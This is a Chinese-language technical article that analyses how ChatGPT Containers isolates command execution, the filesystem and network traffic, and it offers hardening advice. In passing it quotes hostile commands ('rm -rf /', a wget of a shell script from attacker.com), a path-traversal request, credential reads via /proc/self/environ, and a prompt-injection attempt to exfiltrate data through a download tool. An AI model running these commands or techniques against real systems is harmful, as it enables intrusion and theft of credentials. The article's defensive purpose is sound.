在人工智能助手与代码执行能力深度绑定的今天，沙箱环境的安全性直接决定了用户数据与基础设施的命运。ChatGPT Containers 作为 OpenAI 推出的代码执行环境，在过去数月经历了从「受限 Python 解释器」到「多语言运行时」的跨越式升级，新增了直接执行 Bash 命令、安装 pip/npm 包、下载网络文件等能力。然而，这些能力的开放必然带来安全边界的重新划定问题。本文将从命令执行、文件系统、网络通信三个维度，解析 ChatGPT Containers 的沙箱执行边界设计，并给出工程实践中的关键参数与监控要点。
执行边界的设计哲学：从解释器到容器
理解 ChatGPT Containers 的安全模型，首先需要厘清其架构演进路径。早期的 ChatGPT Code Interpreter（后更名为 Advanced Data Analysis）仅提供受限的 Python 执行环境，用户无法直接操作文件系统或执行 shell 命令，所有 I/O 必须通过模型生成的 Python 代码间接完成。这种设计虽然限制了攻击面，但也严重制约了工具调用的灵活性。
2026 年 1 月的功能升级标志着执行模型的范式转变。Simon Willison 在其测试中发现，ChatGPT Containers 现在支持直接调用 container.exec 工具执行 Bash 命令，可运行包括 Ruby、Perl、PHP、Go、Java、Swift、Kotlin、C、C++ 在内的多种语言程序。这意味着执行权限从「受信任的 Python 子集」扩展到了「受信任的 shell 命令全集」。然而，这种权限提升并非无差别放行，而是建立在精细的分层控制之上。
根据 Simon Willison 获取的工具接口文档，container.exec 的签名如下：
{
"cmd": ["string[]"],
"session_name": "string | null",
"workdir": "string | null",
"timeout": "integer | null",
"env": "object | null",
"user": "string | null"
}
该接口允许指定工作目录、超时时间、环境变量和执行用户，但核心约束在于 cmd 参数的内容审查与 user 参数的权限边界。从 0din.ai 的渗透测试报告来看，当用户在沙箱内执行 whoami 命令时，输出明确显示当前用户为 sandbox 而非 root 或其他特权用户，这表明容器采用了最小权限原则，每个会话运行在独立的用户命名空间下。
命令白名单与执行权限控制
在传统容器安全模型中，只要获得容器内的 shell 访问权限，攻击者通常可以执行任意命令，包括安装软件包、修改系统配置、扫描网络等。然而，ChatGPT Containers 通过工具层拦截实现了命令级别的细粒度控制。
最显著的能力扩展是 Bash 命令的直接执行。在 Simon Willison 的测试中，他成功诱导 ChatGPT 执行了 npm install cowsay --no-fund --no-audit 和 node -e "const cowsay=require('cowsay'); ..." 等命令。从 Activity 面板的日志可以看到，ChatGPT 首先尝试执行 npm init -y 初始化项目，随后在发现 node_modules 目录缺失后重新运行安装，整个过程符合正常开发工作流的预期行为。
但这并不意味着所有 Bash 命令都被允许。0din.ai 的测试表明，尽管用户可以列出目录（ls /）、查看系统信息（uname -a）、执行 Python 脚本，但某些敏感操作仍会受到限制。OpenAI 的官方立场是：沙箱内的交互行为被视为产品功能而非安全漏洞，只有成功突破容器边界、获取主机系统权限的行为才被认定为安全问题。这种设计理念将安全重心从「禁止所有危险操作」转移到了「containment」—— 即确保任何操作都不会溢出到宿主环境。
工程实践中，命令白名单的实现通常依赖以下机制：首先是工具层的语义过滤，模型在生成命令时会经过一层隐式的安全检查，拒绝明显恶意的指令如 rm -rf / 或 wget http://attacker.com/shell.sh；其次是运行时审计，所有命令执行都会记录到 Activity 面板，用户可以追溯每一步操作的输入输出，形成事后可查的审计链条。
文件系统隔离与挂载策略
文件系统是沙箱安全中最关键的战场。ChatGPT Containers 采用了分层挂载策略，将容器内的文件系统划分为多个安全域，各域之间具有明确的读写边界。
根据已公开的信息，容器内可访问的目录结构包括：/mnt/data/ 作为用户上传文件的存储区域，具有读写权限；/home/sandbox/ 作为工作目录，可存放临时文件；/home/sandbox/.openai_internal/ 作为系统内部目录，虽可列出但内容受到保护。0din.ai 的测试显示，用户可以执行 list files /home/sandbox/ 查看目录内容，甚至可以移动文件到该目录，但无法直接读取系统敏感配置文件。
文件系统隔离的核心原则是最小权限暴露。在 Simon Willison 的 container.download 工具测试中，他成功下载了外部文件到 /mnt/data/ 目录并进行处理，但该文件无法被移动到 /home/sandbox/.openai_internal/ 等系统区域。这种设计确保了用户数据与系统数据的严格分离。
值得注意的是 Equixly 在 2025 年披露的路径遍历攻击案例。安全研究员通过构造形如 retrieve?filename=/../user-file/uuid.txt 的请求，利用文件下载接口的路径校验缺陷访问了容器外的文件。更严重的是，通过枚举 /proc/[pid]/fd/ 下的文件描述符，攻击者可以读取目标进程的配置文件、数据库连接字符串，甚至通过 /proc/self/environ 获取环境变量中存储的凭证信息。虽然该漏洞存在于某 AI 平台的实现中而非 ChatGPT Containers 本身，但它揭示了容器文件系统与 /proc 虚拟文件系统交互时的潜在风险。
工程防护建议包括三个层面：在容器配置层面，应使用只读挂载方式暴露必要的系统目录，避免 /proc、/sys、/dev 等敏感路径被容器内进程访问；在应用实现层面，文件下载接口必须进行严格的路径规范化，禁止使用 .. 进行路径回溯，并将访问范围限制在用户隔离目录内；在运行时监控层面，应对文件 I/O 操作进行审计，检测异常的大规模文件读取或敏感路径访问行为。
网络隔离与出站流量控制
网络边界是沙箱安全的另一道关键防线。ChatGPT Containers 在网络隔离上采取了「仅允许工具触发的定向出站」策略，这与传统容器中进程可自由发起网络请求的模式截然不同。
Simon Willison 的测试揭示了一个精妙的代理机制。容器内的 pip、npm 等包管理器之所以能够安装依赖，是因为环境变量被重定向到了一个内部代理服务：
PIP_INDEX_URL=https://reader:****@packages.applied-caas-gateway1.internal.api.openai.org/.../pypi-public/simple
NPM_CONFIG_REGISTRY=https://reader:****@packages.applied-caas-gateway1.internal.api.openai.org/.../npm-public
NETWORK=caas_packages_only
NETWORK=caas_packages_only 变量明确限定了网络流量的目的地只能是包管理服务，而不允许任意出站连接。这种设计在提供包安装能力的同时，将网络攻击面压缩到了可控的最小集合。
container.download 工具的实现同样体现了「工具化网络访问」的设计理念。该工具仅接受用户明确提供的 URL 作为输入，不允许动态构造查询参数或重定向目标。Simon Willison 的测试表明，尝试通过 prompt injection 让 ChatGPT 生成包含敏感信息的 URL 并调用 container.download 会触发安全拦截，错误信息提示「url not viewed in conversation before」。这与 Anthropic 的 Claude Web Fetch 工具采用的「用户可见性校验」机制类似，确保网络请求的源 URL 必须来自用户直接输入或搜索结果，而非模型自行构造。
对于需要在生产环境中部署类似能力的团队，建议采用以下参数配置：网络策略应默认拒绝所有出站流量，仅通过显式配置的代理或白名单服务放行特定类型的流量（如包仓库、许可的 API 端点）；DNS 解析应在容器网络命名空间内独立进行，避免容器内进程获取宿主机网络的解析结果；所有出站请求应记录完整的 URL、请求头和响应状态，便于安全审计和异常检测。
运行时审计与回滚策略
安全模型的第四个维度是运行时监控与响应能力。ChatGPT Containers 提供了两种审计机制：Activity 面板的实时日志和 summary_reader 工具的历史推理回溯。
Activity 面板记录了每次命令执行的完整轨迹，包括命令内容、执行时长、输出摘要等信息。在 Simon Willison 的测试中，「Running npm install in container」和「Inspecting npm command output and container status」等步骤被逐行记录，用户可以清晰地看到 ChatGPT 的决策过程。这种设计不仅服务于安全审计，也为用户提供了信任基础 —— 模型无法在用户不知情的情况下执行隐藏操作。
当检测到异常行为时，工程实践中应具备快速回滚能力。这包括会话级别的隔离重置（废弃当前容器实例并启动新实例）、命令级别的执行撤销（终止正在运行的进程并清理其产生的文件变更）、以及配置级别的策略调整（动态收紧命令白名单或网络访问规则）。
综合以上分析，ChatGPT Containers 的安全模型可以概括为「工具化能力边界 + 分层隔离 + 运行时审计」的三角架构。这种设计在释放 AI 助手代码执行能力的同时，通过多层防护将风险控制在可接受范围内。对于计划自建类似能力的团队，关键参数建议如下：命令白名单应覆盖所有允许的指令并拒绝高危操作；文件系统应采用用户隔离目录 + 只读系统挂载的组合策略；网络策略应默认拒绝并通过代理服务放行必要流量；所有执行操作应记录完整审计日志并支持会话级回滚。
参考资料
- Simon Willison, ChatGPT Containers can now run bash, pip/npm install packages, and download files, 2026 年 1 月 26 日
- Marco Figueroa, Prompt Injecting Your Way To Shell: OpenAI's Containerized ChatGPT Environment, 0din.ai, 2024 年 11 月
- Alessio Dalla Piazza, The False Security of AI Containers, Equixly, 2025 年 11 月